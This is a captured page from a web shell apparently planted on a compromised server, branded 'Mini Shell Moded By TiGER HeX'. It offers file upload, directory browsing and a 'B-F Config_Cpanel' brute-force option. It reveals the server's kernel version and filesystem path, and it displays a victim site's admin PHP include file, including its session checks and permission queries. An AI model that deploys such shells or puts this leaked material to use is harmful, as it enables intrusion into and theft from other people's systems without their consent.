Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
includes
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/includes/appTop.php
<?php header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // always modified header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1 header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // HTTP/1.0 $db = new sql_db(); if(!$db->db_connect_id){die("Unable to connect to sql server");} session_start(); //make sure user is logged in if( (!isset($_SESSION['admin_id'])) && (!isset($_SESSION['editor_id'])) ){ die("Hacking Attempt - You're not an admin"); } if(isset($_SESSION['admin_id'])){ $sql = "SELECT * FROM 50mm_permissions WHERE user_id = '".$_SESSION['admin_id']."'"; }elseif(isset($_SESSION['editor_id'])){ $sql = "SELECT * FROM 50mm_permissions WHERE user_id = '".$_SESSION['editor_id']."'"; } if( !($result = $db->sql_query($sql)) ){die("Unable to get permissions");} $permission_row = $db->sql_fetchrow($result); ?>